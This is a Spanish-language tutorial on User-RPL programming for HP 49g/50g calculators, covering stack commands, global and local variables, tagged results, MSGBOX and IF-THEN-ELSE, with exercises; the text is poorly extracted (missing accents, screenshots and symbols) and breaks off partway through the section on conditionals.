Вы находитесь на странице: 1из 174

MANUALES DE PROGRAMACION

PARA

PETIZO LUIS CHAVITA





MANUAL 01






MANUAL 02

Clculo cientco y tcnico con
HP49g/49g+/48gII/50g
Mdulo 2: Recursos avanzados
Tema 2.5 Programacin User-RPL I
Francisco Palacios
Escuela Politcnica Superior de Ingeniera de Manresa
Universidad Politcnica de Catalunya
Dep. Matemtica Aplicada III
Abril 2008, versin 1.2
Contenido
1. Introduccin
2. Variables globales
3. Variables locales
4. Presentacin de resultados
5. Ejecucin condicionada
6. Formularios de entrada de datos
7. Gestin de la memoria
ndice General
1 Introduccin 1
1.1 Programas en User-RPL . . . . . . . . . . . . . . . . . . . . . 1
1.2 Almacenado y ejecucin de programas . . . . . . . . . . . . . 4
2 Variables globales 7
2.1 Uso de variables globales . . . . . . . . . . . . . . . . . . . . . 7
2.2 Reordenacin de variables . . . . . . . . . . . . . . . . . . . . 18
2.3 Soluciones a las actividades . . . . . . . . . . . . . . . . . . . 23
3 Variables locales 24
3.1 Uso de variables locales . . . . . . . . . . . . . . . . . . . . . 24
3.1.1 Estructura de variable local . . . . . . . . . . . . . . . 24
3.1.2 Etiquetado de resultados . . . . . . . . . . . . . . . . . 30
3.2 Programa con resultados mltiples . . . . . . . . . . . . . . . 32
3.3 Uso de variables auxiliares . . . . . . . . . . . . . . . . . . . . 36
4 Presentacin de resultados con MSGBOX 39
5 Ejecucin condicionada 45
5.1 Estructura IF-THEN-ELSE . . . . . . . . . . . . . . . . . . . 45
5.2 Estructura CASE . . . . . . . . . . . . . . . . . . . . . . . . . 49
5.3 Soluciones de las actividades . . . . . . . . . . . . . . . . . . 53
6 Formularios de entrada de datos 54
6.1 Formularios de entrada de datos . . . . . . . . . . . . . . . . 54
6.2 Uso simplicado del comando INFORM . . . . . . . . . . . . 56
6.3 Un ejemplo de aplicacin . . . . . . . . . . . . . . . . . . . . 60
6.4 Uso avanzado del comando INFORM . . . . . . . . . . . . . . 72
6.4.1 Valores de reset . . . . . . . . . . . . . . . . . . . . . . 72
6.4.2 Especicaciones de formato . . . . . . . . . . . . . . . 75
6.4.3 Formatos de campo . . . . . . . . . . . . . . . . . . . 78
7 Gestin de la memoria 84
7.1 Organizacin de la Memoria de la calculadora . . . . . . . . . 84
7.2 Acceso a los objetos de los puertos . . . . . . . . . . . . . . . 90
7.3 Copias de seguridad del sistema . . . . . . . . . . . . . . . . . 92
Francisco Palacios Programacin en User-RPL. 1
1 Introduccin
1.1 Programas en User-RPL
En una primera aproximacin, podemos decir que un programa en User-
RPL es una secuencia de objetos escritos entre los delimitadores << >>. Si
cargamos un programa en la pila y pulsamos [EVAL], la calculadora procesa
automticamente la secuencia de objetos que contiene el programa. Es esen-
cial entender que, al ejecutar el programa, la calculadora realizar diferentes
acciones dependiendo del tipo de objeto.
Comandos. Los comandos son ejecutados.
Otros tipos de objetos son cargados en la pila, en concreto se cargan
en la pila:
Expresiones algebraicas: cos(x)+sin(x).
Nmeros: 2, 2.34, (1,2.34).
Strings: Entra un nmero, Volumen.
Listas: {1,2,a,b}.
Consideremos como ejemplo el siguiente programa.
Al ejecutar el programa, la calculadora realiza las siguientes acciones:
Objeto Tipo Accin
<< delimitador de programa
1 nmero carga en la pila
2 nmero carga en la pila
+ comando ejecucin
6 nmero carga en la pila
/ comando ejecucin
>> delimitador de programa
Si pulsamos [EVAL], obtenemos
Francisco Palacios Programacin en User-RPL. 2
Al escribir programas en User-RPL, podemos tomar objetos de la pila y usar
los comandos de pila. La siguiente tabla contiene algunos comandos tiles
que permiten la manipulacin de pila.
Comando Accin Sintaxis
DUP Duplica el objeto del nivel 1 de la pila.
SWAP Intercambia el contenido de nivel 1
y el nivel 2 de la pila.
DROP Elimina el objeto del nivel 1 de la pila.
DROPN Elimina los objetos de los n primeros n DROPN
niveles de la pila.
DUPN Duplica los objetos de los n primeros n DUPN
niveles de la pila.
DUP2 Duplica el contenido de los 2 primeros
niveles de la pila.
Puedes obtener los comandos de pila en el men [PRG][STACK].
Tambin puedes obtenerlos en catlogo de comandos.
Actividad 1.1 El men [PRG] contiene todos los comandos tiles para pro-
gramacin agrupados por categoras.
Francisco Palacios Programacin en User-RPL. 3
Accede al men [PRG]
y observa los submens que aparecen en las tres pginas.
Actividad 1.2 Entra en el submen [PRG][STACK], y observa los coman-
dos que contiene.
Actividad 1.3 El uso de la pila permite que algunos programas en User-
RPL pueden ser sorprendentemente simples, as el programa para tomar dos
nmeros de la pila y sumarlos, se reduce a
Carga dos nmeros de la pila y el programa << + >> . Pulsa [EVAL] y
verica el buen funcionamiento del programa.
Actividad 1.4 Escribe un programa que tome dos nmeros de la pila y
calcule la divisin. Prueba su funcionamiento.
Francisco Palacios Programacin en User-RPL. 4
Actividad 1.5 Escribe un programa que sume tres nmeros cargados en la
pila. Verica su buen funcionamiento.
Sol. << ++ >> .
Actividad 1.6 Escribe un programa que tome 3 nmeros de la pila y calcule
la media aritmtica. Verica su funcionamiento.
Sol. << + + 3 / >>
Actividad 1.7 Escribe un programa que tome el valor de los dos catetos
cargados en la pila y calcule la hipotenusa.
Sol. << SQ SWAP SQ +

>> . El comando SQ calcula el cuadrado.
1.2 Almacenado y ejecucin de programas
El concepto de programa est vinculado a la idea de ejecucin repetida: el
inters de un programa radica en que, una vez escrito, podemos ejecutarlo
tantas veces como deseemos.
Podemos almacenar un programa en una variable usando el comando STO,
de la misma forma que cualquier otro objeto de la calculadora. Veamos
como ejemplo el programa que toma dos nmeros de la pila y calcula la
media aritmtica.
Vamos a guardarlo con el nombre MED, para ello cargamos el nombre en la
pila
y pulsamos la tecla [STO]. Si ahora pulsamos la tecla [VAR] para acceder al
rea de variables
Francisco Palacios Programacin en User-RPL. 5
observamos que el nombre MED aparece asociado a la tecla [F1]. Para
ejecutar el programa, simplemente tenemos que cargar dos nmeros en la
pila, por ejemplo 4 y 8
y pulsar [F1], obtendremos
Si ahora pulsamos nuevamente la tecla [F1], obtenemos un error.
El error se produce porque el programa necesita dos valores en la pila para
funcionar correctamente.
Cargamos los valores 4 y 5 en la pila
Francisco Palacios Programacin en User-RPL. 6
y escribimos el nombre del programa
al pulsar [ENTER], como el nombre MED corresponde a un programa, se
produce la evaluacin automtica y obtenemos
Si deseamos cargar el nombre del programa sin que se ejecute, debemos
escribirlo ente comillas simples.
Entonces al pulsar [EVAL] se evala el nombre y se produce la ejecucin del
programa.
Francisco Palacios Programacin en User-RPL. 7
Resumiendo, supongamos que hemos guardado un programa con el nombre
NOMPRG, entonces el nombre NOMPRG pasa a comportarse como cual-
quier otro comando del sistema. Podemos ejecutarlo directamente usando
la tecla de funcin correspondiente en el rea de variables, o bien usar su
nombre.
2 Variables globales
Los programas pueden manejar variables. Las variables globales
Son variables ordinarias.
Su nombre aparece en el directorio de trabajo.
Persisten una vez ejecutado el programa, salvo que el programa las
borre explcitamente.
En contrapartida, veremos en la seccin siguiente que existen otro tipo de
variables: las variable locales. Las variables locales slo se pueden usar
dentro del programa que las crea, no aparecen en el directorio de trabajo y
no intereren con otras variables previamente existentes.
2.1 Uso de variables globales
Para asignar valores a una variable se usa el comando STO, dado que una
variable global puede existir previamente a la ejecucin del programa, debes
usar su nombre entre apstrofos (quoted name).
Como ejemplo, vamos a realizar un programa que calcule el volumen, rea
lateral y rea total de un cilindro a partir del radio y la altura. Con mayor
detalle, creamos un subdirectorio de HOME denominado CILIN, el pro-
grama se denominar VACL(Volumen y Area del CiLindro). Tomar los
valores:
Radio: almacenado en la variable global R.
Altura: almacenado en la variable global H.
Y producir como salida los valores:
Francisco Palacios Programacin en User-RPL. 8
Volumen: almacenado en la variable global Vol.
Area de las bases: almacenado en la variable global Abas.
Area lateral: almacenado en la variable global Alat.
Area total: almacenado en la variable global Atot.
Emplearemos las frmulas:
Volumen: V = R
2
H.
Area de las bases: A
bas
= 2R
2
.
Area lateral: A
lat
= 2RH.
Area global: A
tot
= A
bas
+A
lat
.
Como valores iniciales y valores de prueba, usaremos
R H V ol Abas Alat Atot
3 10 282. 7433 56. 5486 188. 4956 245. 0442
(1)
Actividad 2.1 Realiza los siguientes pasos.
1. En primer lugar, sitate en el directorio HOME y crea el subdirectorio
CILIN.
2. Una vez creado, entra en el directorio CILIN.
Francisco Palacios Programacin en User-RPL. 9
3. Crea la variable R con el valor inicial 3, para ello escribe
y pulsa [STO]. De forma anloga, crea la variable H con el valor inicial
10, pulsa [VAR] para observar las variables creadas.
4. Accede al editor de ecuaciones y escribe la expresin algebraica corres-
pondiente al volumen.
Si pulsas [VAR] cuando ests dentro del editor de ecuaciones podrs
usar las teclas de funcin para escribir las variables H y R. Una vez
completada la frmula, pulsa [ENTER] para cargar la frmula en la
pila.
Francisco Palacios Programacin en User-RPL. 10
5. Escribe y carga en la pila las restantes frmulas.
6. Ahora vamos a escribir el programa, pulsa [+] para escribir los deli-
mitadores del programa.
Pulsa [HIST] para acceder al editor de pila y copia con ECHO la
frmula correspondiente al volumen.
Pulsa [ENTER] para volver a la edicin del programa.
Francisco Palacios Programacin en User-RPL. 11
7. Observa que cuando te encuentras dentro de los delimitadores de pro-
grama, se activa el modo PRG. Cuando el modo PRG est activo, las
teclas escriben los comandos y funciones correspondientes, en vez de
producir su ejecucin.
Pulsa la tecla [EVAL] para escribir el comando EVAL, escribe el nom-
bre de variable Vol (no olvides los apstofros) y pulsa la tecla [STO]
para escribir el comando STO.
8. Pulsa [ENTER], para cargar el programa en la pila.
9. Escribe el nombre del programa VACL
Francisco Palacios Programacin en User-RPL. 12
y pulsa [STO].
10. Vamos a probar el funcionamiento de la primera parte del programa,
pulsa [F1], obtendrs:
Observa que el programa ha creado la variable Vol, si pulsas [F1],
obtendrs el valor de Vol.
Como que la calculadora est en modo exacto, hemos obtenido 90,
pulsa [ENTER] para ejecutar NUM, obtendrs:
Francisco Palacios Programacin en User-RPL. 13
que es el valor correspondiente al volumen en la tabla (1) de valores
iniciales y de prueba.
11. Antes de continuar, ja la calculadora en modo aproximado y el for-
mato numrico en FIX 4.
12. Pulsa [VAR] para acceder al men de variables del directorio
y pulsa [F2] para recuperar el programa.
13. Pulsa [H] para activar el editor.
Francisco Palacios Programacin en User-RPL. 14
14. La tecla (10,3) permite saltar de lnea,
la usaremos para escribir con ms comodidad el programa
1
.
15. Pulsa [HIST] para copiar la frmula correspondiente a la suma de reas
de las bases y completa el programa como sigue
16. A continuacin copia la frmula del rea lateral y escribe la parte
correspondiente de programa
2
.
1
Los saltos de lnea desaparecen al cargar el programa en la pila.
2
Observa que los nombres de las variables Abas y Alat deben estar entre apstrofes
(quoted names) en caso contrario, se producira un error en ejecuciones del programa
posteriores a la primera.
Francisco Palacios Programacin en User-RPL. 15
17. Vamos a probar el funcionamiento del programa, pulsa [ENTER] para
cargar el programa en la pila.
Pulsa [F2] para almacenarlo con el nombre VACL, sustituyendo a la
versin anterior.
Pulsa ahora [F2] para ejecutar la versin actualizada del programa
observa que el programa ha creado las variables Alat y Abas. Pulsa
[F1] y [F2] para obtener los valores que contienen las variables.
Francisco Palacios Programacin en User-RPL. 16
Compara los valores obtenidos con los que aparecen en la Tabla 1 de
la pgina 8.
18. Vamos a terminar. Primer pulsa [CLEAR] para limpiar
3
la pila.
Pulsa [F4] para recuperar el programa guardado en [VACL].
Pulsa [H] para activar el editor.
Para acabar el programa, escribe los nombre Alat y Abas sin apstro-
fos,
3
Tecla (4,5).
Francisco Palacios Programacin en User-RPL. 17
eso hace que se carguen sus valores en la pila, pulsa [+] para entrar el
comando +
19. Ahora tendrs el valor Alat + Abas en la pila, entra el nombre Atot
entre apstrofos
4
y escribe STO.
Pulsa [ENTER] para cargar el programa en la pila
y pulsa [F4] para guardarlo con el nombre VACL.
4
Observa que en este caso quieres usar el nombre, no el valor, por eso debes escribirlo
entre apstrofos.
Francisco Palacios Programacin en User-RPL. 18
Pulsa [F4] para ejecutar el programa.
Observa que el programa ha creado la variable Atot, pulsa [F1] para
obtener su valor.
2.2 Reordenacin de variables
En la actividad anterior hemos observado que las nuevas variables se van
aadiendo por la izquierda conforme se crean, en tanto que las variables
antiguas se desplazan a la derecha. Esto ha motivado que la variable R
haya pasado a la segunda pgina del men
Francisco Palacios Programacin en User-RPL. 19
Es posible que queramos tener otra ordenacin de las variables. En nuestro
ejemplo, una ordenacin ms conveniente podra ser la siguiente:
[H] [R] [V ACL] [V ol] [Atot] [Alat] [Abas]
De esta forma, apareceran en primer lugar las teclas correspondientes a
las variables R y H que contienen los datos de entrada, seguidamente, ten-
dramos la tecla correspondiente al programa y, a continuacin, las teclas
correspondientes a las variables de salida, ordenadas de manera que la va-
riable Abas (rea de las bases) pasara a la segunda pgina del men. La
siguiente actividad muestra como reorganizar el contenido de un directorio
usando la aplicacin de gestin de variables y directorios FILES.
Actividad 2.2 Para reorganizar el directorio, realiza los siguientes pasos:
1. Pulsa [FILES]
para acceder a la aplicacin de gestin de variables y directorios, vers
que el directorio actual est resaltado.
Pulsa [ENTER] o [OK] para entrar en el contenido del directorio
Francisco Palacios Programacin en User-RPL. 20
2. Usa las teclas de desplazamiento para resaltar la variable H
y pulsa [ENTER].
Observa que ha aparecido un 1 junto a la variable H y se ha resaltado
la variable R.
3. Pulsa [ENTER] para asignar el nmero de orden 2 a la variable R.
4. Resalta el programa VACL y pulsa [ENTER] para asignarle el nmero
de orden 3.
Francisco Palacios Programacin en User-RPL. 21
5. Continua asignando nmeros de orden hasta que obtengas la siguiente
pantalla.
6. Ahora pulsa [NEXT] para pasar a la segunda pgina de men
y pulsa [F4] para ejecutar ORDER.
7. Pulsa [CANCEL] para salir de FILES. Observa que el directorio ha
quedado organizado de la forma deseada.
Francisco Palacios Programacin en User-RPL. 22
Actividad 2.3 Completa la siguiente tabla usando el programa VACL
R H Vol Abas Alat Atot
3.5 12
Actividad 2.4 Crea un directorio con el nombre ESFE. Escribe un pro-
grama con el nombre CVAE (Clculo del Volumen y Area de la Esfera) que
calcule el volumen y el rea de la supercie esfrica a partir del radio. La
entrada es una variable global R que contiene el radio y la salida son las
variables globales Vol y Area. Usa las frmulas
V =
4
3
R
3
, A = 4R
2
.
Usa la siguiente tabla de valores iniciales y de valores de vericacin
R H Vol Area
3.5 12.1 179. 59 153. 99
Actividad 2.5 Reorganiza el directorio ESFE de forma que las variables
aparezcan en el siguiente orden
[R] [CVAE] [Vol] [Area] .
Actividad 2.6 Crea un directorio con el nombre CONO. Escribe un pro-
grama con el nombre CVAC (Clculo del Volumen y Area del cono) que
calcule el volumen, el rea lateral, el rea de la base y el rea total de la
supercie cnica a partir del radio de la base y la altura.
H
R
Francisco Palacios Programacin en User-RPL. 23
La entrada son las siguientes variables globales:
R, que contiene valor del radio.
H, que contiene el valor de la altura.
La salida est formada por las siguientes variables globales:
Vol, que contiene el valor del volumen.
Abas, que contiene el valor del rea de la base.
Alat, que contiene el valor del rea lateral.
Atot, que contiene el valor del rea total.
Usa las frmulas
V =
1
3
R
2
H, A
bas
= R
2
, A
lat
= R
p
R
2
+H
2
, A
tot
= A
abs
+A
lat
,
y la siguiente tabla de valores iniciales y de valores de vericacin
R H Vol Abas Alat Atot
2.5 11.5 75. 3 19. 6 92. 4 112. 1
2.3 Soluciones a las actividades
Actividad 2.3
R H Vol Abas Alat Atot
3.5 12.1 465. 7 77. 0 266. 1 343. 1
Actividad 2.4
Programa Accin
<< Abre programa.
1/3**R^2*H EVAL Calcula el valor del volumen.
Vol STO Guarda el valor con el nombre Vol.
4**R^2 EVAL Calcula el valor del rea de la
la superce esfrica.
Area STO Guarda el valor con el nombre Area.
>> Cierra programa.
Actividad 2.6
Francisco Palacios Programacin en User-RPL. 24
Programa Accin
<< Abre programa.
1/3**R^2*H EVAL Calcula el valor del volumen.
Vol STO Guarda el valor con el nombre Vol.
*R^2 EVAL Calcula el valor del rea de la base.
Abas STO Guarda el valor con el nombre Abas.
*R*

(R^2+H^2) EVAL Calcula el valor del rea lateral.


Alat STO Guarda el valor con el nombre Alat.
Abas + Alat EVAL Calcula el valor del rea total.
Atot STO Guarda el valor con el nombre Atot.
>> cCierra programa.
3 Variables locales
Las variable locales son un tipo de variable especialmente diseado para su
uso en programacin. El comportamiento de las variables locales en User-
RPL es similar al comportamiento que tienen las variables locales en otros
lenguajes de programacin: Pascal, C, Fortran, etc. La idea fundamental es
que una variable local solo existe dentro del procedimiento o programa que
la crea, no interacciona con variables globales del mismo nombre que puedan
existir previamente y desaparecen automticamente
5
cuando la ejecucin del
programa naliza.
En el caso del lenguaje de programacin User-RPL, las variables locales
tienen las siguientes caractersticas:
No aparecen en el rea de variables del directorio actual.
Slo son accesibles dentro del programa que las crea.
No interaccionan con variables globales.
El tiempo de acceso
6
es inferior al tiempo de acceso de las variables
globales.
La variables locales son borradas automticamente al nalizar o inte-
rrumpirse el programa que las crea.
3.1 Uso de variables locales
3.1.1 Estructura de variable local
Disponemos de dos estructuras para crear variables locales
<< v1 v2 v3 << programa que usa v1 v2 v3>> >>
5
Es decir, el espacio de memoria que ocupan queda liberado.
6
Tiempo que tarda la calculadora en guardar o recuperar el valor que contine la variable.
Francisco Palacios Programacin en User-RPL. 25
y
<< v1 v2 v3 expresin algebraica que contiene v1 v2 v3 >>
En la sintaxis hemos usado, por simplicidad, slo 3 variables locales: v1,v2 y
v3, pero puede usarse cualquier nmero de variables locales; tambin puede
usarse cualquier nombre vlido como nombre de variable local.
Al ejecutarse una estructura de variable local como las descritas arriba, se
producen las siguientes acciones:
Se descargan 3 valores de la pila y se guardan ordenadamente en las
variables v1, v2, v3, empezando de derecha a izquierda.
Se ejecuta el programa o se evala la expresin algebraica que acom-
paa la denicin de las variables.
Veamos con mayor detalle como se produce la asignacin de variables.
En primer lugar se descarga el valor del nivel 1 de la pila, y se guarda
en la variable en v3.
El valor del nivel 2 de la pila se guarda en v2.
El valor del nivel 3 de la pila se guarda en v1.
Este funcionamiento puede parecer algo extrao, pero si escribimos 3 valores
en la lnea de edicin separados por espacios
y pulsamos [ENTER], obtenemos:
Es decir, si escribimos
Francisco Palacios Programacin en User-RPL. 26
y ejecutamos el programa, entonces:
El valor 3 se guardara en v3.
El valor 2 se guardara en v2.
El valor 1 se guardara en v1.
Es importante destacar que las variables slo son accesibles por el programa
o expresin algebraica que sigue a la declaracin de variables locales v1
v2 v3.
Como primer ejemplo, vamos a escribir un programa que realiza las siguien-
tes acciones:
Toma del nivel 2 de la pila el valor del radio y lo guarda en la variable
local R.
Toma del nivel 1 de la pila el valor de la altura y lo guarda en la
variable local H.
Calcula el valor del volumen del cilindro usando las variables locales
R y H y devuelve el resultado a la pila.
Actividad 3.1 Realiza los siguientes pasos
1. Crea un subdirectorio de HOME con el nombre CIL2, entra en CIL2.
2. Pulsa [+] para escribir los delimitadores del programa.
Francisco Palacios Programacin en User-RPL. 27
3. Pulsa la tecla [0]
para escribir el carcter que dene las variables locales.
4. Escribe el nombre de las variables locales en el orden R H
en ese orden, el radio R se tomar del nivel 2 de la pila y la altura H
del nivel 1.
5. Escribe la expresin algebraica que corresponde al volumen del cilindro
entre apstrofos.
Francisco Palacios Programacin en User-RPL. 28
6. Pulsa [ENTER] para cargar el programa en la pila.
7. Escribe el nombre Vol
y pulsa [STO] para guardar el programa con ese nombre.
8. El diagrama de pila para el programa Vol es el siguiente:
Programa Vol
Datos Resultado
Nivel 2 R Nivel 2
Nivel 1 H Nivel 1 Vol
Francisco Palacios Programacin en User-RPL. 29
9. Vamos a usar los siguientes valores de prueba:
R H Vol
3.5 12.1 465. 6626
Escribe los valores separados por un espacio
y pulsa [ENTER].
Pulsa [F1] para ejecutar el programa, obtendrs:
Pulsa [ENTER] para ejecutar NUM, resulta
Francisco Palacios Programacin en User-RPL. 30
3.1.2 Etiquetado de resultados
Vamos a modicar el programa de la Actividad 3.1 incorporando el comando
NUM y aadiendo una etiqueta al resultado.
Actividad 3.2 Realiza los siguientes pasos:
1. Pulsa [F1] para recuperar el contenido del programa.
2. Pulsa [H] para activar el editor.
3. Entra el comando NUM.
4. Escribe la etiqueta
7
Vol.
7
La etiqueta es una cadena de caracteres (string) y debe ir entre comillas dobles.
Francisco Palacios Programacin en User-RPL. 31
5. Escribe el comando TAG.
Puedes encontrar el comando en [PRG][TYPES] o en el catlogo de
comandos
6. Pulsa [ENTER] para salir del editor y cargar el programa en la pila
7. Pulsa [F1] para actualizar el contenido de la variable Vol con el pro-
grama modicado, carga los valores 3.5 y 12.1 en la pila
Francisco Palacios Programacin en User-RPL. 32
y pulsa [F1] para ejecutar el programa, obtendrs:
3.2 Programa con resultados mltiples
Como segundo ejemplo, vamos a realizar un programa con el nombre VACil
(Volumen y Area del Cilindro) que lleve a cabo las siguientes acciones:
Tome del nivel 2 de la pila el valor del radio de la base y lo guarde en
la variable local R.
Tome del nivel 1 de la pila el valor de la altura y lo guarde en la
variable local H.
Calcule, usando las variables locales R y H:
El valor del volumen del cilindro.
El valor del rea lateral.
El valor del rea total.
Tambin queremos que devuelva los resultados a la pila debidamente
etiquetados.
El siguiente diagrama de pila describe con precisin la estructura de las
entradas y salidas
Programa VACil
Datos Resultado
Nivel 3 Nivel 3 Vol: valor volumen
Nivel 2 R Nivel 2 Alat: valor rea lateral
Nivel 1 H Nivel 1 Atot: valor rea total
Francisco Palacios Programacin en User-RPL. 33
Usa los siguientes valores iniciales y de prueba:
R H Vol Alat Atot
4.5 15.1 960. 6 426. 9 554. 2
Actividad 3.3 Realiza los siguientes pasos:
1. Crea un subdirectorio de HOME con el nombre CIL3.
2. Entra en CIL3.
3. Escribe el inicio del programa.
4. En este caso, no nos bastar con una slo expresin algebraica, debe-
mos por lo tanto usar un programa, pulsa [+] para escribir otro par
de delimitadores de programa.
5. Escribe entre apstrofos la expresin algebraica para el volumen
Francisco Palacios Programacin en User-RPL. 34
y escribe el comando NUM para forzar su evaluacin
8
numrica.
Aade la etiqueta y el comando TAG para generar el valor etique-
tado.
Observa que, segn el enunciado, el volumen es el resultado que debe
aparecer en el nivel ms alto de la pila, por lo tanto debe ser carga-
do en primer lugar. Los siguientes resultados se cargarn en niveles
inferiores de la pila y desplazarn el volumen hacia arriba.
6. Procede de forma anloga para calcular el rea lateral, evaluarla nu-
mricamente y etiquetarla.
8
Cuando en un programa aparece una expresin algebraica, la expresin se carga en
la pila y debemos usar EVAL o NUM para evaluarla. El caso de la estructura de
variable local << R H R2 H >> es un caso especial. En este caso la expresin
algebraica se evala automticamente.
Francisco Palacios Programacin en User-RPL. 35
7. Completa el programa con el clculo, evaluacin y etiquetado del rea
total,
donde hemos usado la frmula
A
tot
= A
lat
+ 2A
bas
= 2RH + 2R
2
= 2R(H +R).
8. Pulsa [ENTER] para salir del editor y cargar el programa en la pi-
la.
9. Escribe el nombre del programa
Francisco Palacios Programacin en User-RPL. 36
y pulsa [STO]. Carga los valores de entrada en el orden adecuado
y pulsa [F1] para ejecutar el programa, obtendrs:
3.3 Uso de variables auxiliares
Al confeccionar algunos programas, es bastante frecuente que necesitemos
una variable auxiliar. En esta seccin vamos a ver como denir y usar
variables locales auxiliares.
Como ejemplo, vamos a escribir un programa, que denominaremos Med, que
tome una lista de nmeros de la pila, la almacene en una variable local X,
calcule la media aritmtica y devuelva el resultado a la pila con la etiqueta
Med.
Aunque es posible realizar el programa utilizando comandos de manipula-
cin de la pila, podemos escribir un programa ms claro usando las variables
locales N y S en las que guardaremos, respectivamente, el nmero de ele-
mentos de la lista y la suma. El diagrama de pila del programa Med es el
siguiente:
Programa Med
Datos Resultado
Nivel 1 Lista X Nivel 1 Valor medio de los
elementos de la lista X
Usa los datos de prueba
X Med
{1, 2, 3, 4, 5, 6} 3.5
Francisco Palacios Programacin en User-RPL. 37
Actividad 3.4 Realiza los siguientes pasos:
1. Crea un subdirectorio de HOME con el nombre MED1.
2. Entra en el subdirectorio MED1
3. Escribe los delimitadores de programa y el siguiente inicio de estruc-
tura de variable local.
La sintaxis 0 0 X N S, asigna el valor inicial 0 a las variables locales
N y S, por lo tanto tomar un slo objeto de la pila que guardar en
la variable X.
4. Escribe el siguiente fragmento de programa
que calcula el valor de la suma de los elementos de la lista y guarda
este valor en la variable local S.
5. Usa ahora el comando SIZE para calcular el nmero de elementos de
la lista y guarda el nmero de elementos en la variable local N.
Francisco Palacios Programacin en User-RPL. 38
6. Calcula la divisin y etiqueta el resultado.
7. Pulsa [ENTER] para salir del editor y cargar el programa en la pi-
la.
Entra el nombre
y pulsa [STO] para guardar el programa.
8. Carga la lista de prueba en la pila
Francisco Palacios Programacin en User-RPL. 39
y ejecuta el programa, debes obtener
4 Presentacin de resultados con MSGBOX
Una buena forma de presentar resultados consiste en aadir una etique-
ta al valor usando el comando TAG. Una segunda forma, muy elegante,
de presentar mensajes y resultados es el comando MSGBOX. El comando
MSGBOX toma como argumento un string y, como resultado, produce una
cuadro de dilogo en la pantalla. Puedes encontrar el comando MSGBOX
en el [PRG][OUT], o bien en el catlogo de funciones y comandos
Un sencillo ejemplo, nos permitir comprender su funcionamiento.
Actividad 4.1 Realiza los siguientes pasos.
1. Escribe el siguiente programa:
Francisco Palacios Programacin en User-RPL. 40
2. Pulsa [EVAL] para ejecutar el programa, obtendrs:
3. Pulsa [ENTER] o [F6] para ejecutar [OK] y continuar.
El argumento de MSGBOX debe ser una cadena de caracteres (string). El
siguiente ejemplo muestra como crear un mensaje a partir de un valor usando
el comando STR y la concatenacin de strings. El objetivo es escribir un
programa denominado AR1 que
Tome de la pila el valor del radio y lo almacene en la variable local R.
Calcule el valor del rea del crculo de radio R.
Presente un mensaje con el texto: AREA = valor calculado.
Cargue en la pila el resultado convenientemente etiquetado.
Usa como valores de prueba
R AREA
23.41 1721. 68
Actividad 4.2 Realiza los siguientes pasos:
1. Crea un subdirectorio de HOME con el nombre DRP5.
2. Entra en DRP5
Francisco Palacios Programacin en User-RPL. 41
3. Escribe los delimitadores de programa y el programa
que calcula el rea a partir del radio. Guarda el programa con el nom-
bre AR1
y usa los valores de prueba para vericar su funcionamiento.
4. Pulsa [F1] para recuperar el programa y [H] para activar el editor.
Francisco Palacios Programacin en User-RPL. 42
Necesitaremos dos copias del resultado, una para construir el mensaje
con MSGBOX y otra para devolverla etiquetada a la pila. Podramos
escribir el programa con comandos de pila pero, para mayor claridad,
usaremos la variable local auxiliar A que contendr el resultado. Mo-
dica el programa como sigue:
Ahora el programa toma un valor de la pila y lo guarda en la varia-
ble local R, la variable A contendr inicialmente el valor 0. Una vez
calculado el valor del rea, lo guarda en A.
5. Escribe la siguiente lnea de programa.
Esta lnea de cdigo produce el siguiente efecto:
Primero carga la cadena de caracteres Area = en la pila.
Carga en la pila el valor de A y lo convierte en string con el
comando STR.
Concatena
9
las dos cadenas de caracteres con el comando +.
9
El comando +, cuando acta con strings, realiza la concatenacin, esto es , junta las
dos cadenas.
Francisco Palacios Programacin en User-RPL. 43
Para comprender bien el efecto de la nueva lnea de cdigo, pulsa [EN-
TER] para salir del editor y cargar el programa en la pila,
guarda la nueva versin del programa con [F1], carga el valor de prue-
ba en la pila
y ejecuta el programa, obtendrs el siguiente string:
que constituye el texto de entrado para el comando MSGBOX.
6. Borra la pila, recupera nuevamente el programa y activa el editor,
aade el comando MSGBOX.
Francisco Palacios Programacin en User-RPL. 44
7. Para terminar, escribe la ltima lnea de cdigo
que carga el valor del rea en la pila, carga la etiqueta y construye el
valor etiquetado con TAG.
8. Pulsa [ENTER] para salir del editor y cargar el programa en la pila,
pulsa [F1] para guarda la versin actual en AR1 y carga el valor de
prueba en la pila.
Cuando ejecutes el programa, obtendrs en primer lugar el siguiente
mensaje:
Francisco Palacios Programacin en User-RPL. 45
Pulsa [ENTER] para continuar, entonces el programa continua y ge-
nera el resultado etiquetado que se carga en la pila.
5 Ejecucin condicionada
A menudo, la ejecucin de una parte de un programa depende del cumpli-
miento de una condicin. Un ejemplo es el clculo de la siguiente funcin:
f(x) =

sinx si x 0,
x
2
si x > 0.
En esta seccin veremos las estructuras IF-THEN-ELSE y CASE, que per-
miten gestionar la ejecucin de partes del programa usando condiciones.
5.1 Estructura IF-THEN-ELSE
La sintaxis de esta estructura es
<<
IF expresin-test
THEN acciones-caso-cierto
ELSE acciones-caso-falso
END
>>
En la ejecucin del programa, se evala la expresin-test.
Si la expresin-test es cierta, se ejecutan los comandos comprendidos
entre THEN y ELSE.
Si la expresin-test es falsa, se ejecutan los comandos comprendidos
entre ELSE y END.
En cualquier caso, la ejecucin continua despus de END.
Como ejemplo, vamos a programar la funcin
f(x) =

sinx si x 0.
x
2
si x > 0.
Francisco Palacios Programacin en User-RPL. 46
Actividad 5.1 Crea un directorio con el nombre DRP6, ja el modo an-
gular en radianes y entra en DRP6.
Realiza los siguientes pasos:
1. Escribe los delimitadores de programa e inicia una estructura de va-
riable local.
2. El submen
10
[BRCH] del men [PRG]
contiene las rdenes de ejecucin condicionada, accede a [BRCH][IF]
y escribe la condicin.
10
BRanCH=ramicar.
Francisco Palacios Programacin en User-RPL. 47
Observa que hemos usado notacin algebraica para la condicin y, por
lo tanto, debemos delimitarla con apstrofos.
3. Pulsa
11
[] para escribir un retorno de carro. Escribe la palabra cla-
ve THEN y, a continuacin, las acciones que deben ejecutarse si la
condicin es cierta.
4. Entra un retorno de carro, escribe la palabra ELSE y, a continuacin,
las acciones que deben ejecutarse cuando la condicin es falsa.
5. Escribe la palabra clave END para cerrar la estructura de ejecucin
condicional.
6. En las estructuras condicionales, las condiciones (que siguen a la pa-
labra clave IF) se evalan automticamente; por el contrario, las ex-
presiones algebraicas que aparecen despus de THEN o de ELSE slo
se cargan en la pila, por lo tanto, en cualquier caso deben ser evalua-
das. Por lo tanto, debes incluir un EVAL o un NUM despus de la
palabra clave END.
11
Tecla (10,3).
Francisco Palacios Programacin en User-RPL. 48
Pulsa [ENTER] para cargar el programa en la pila.
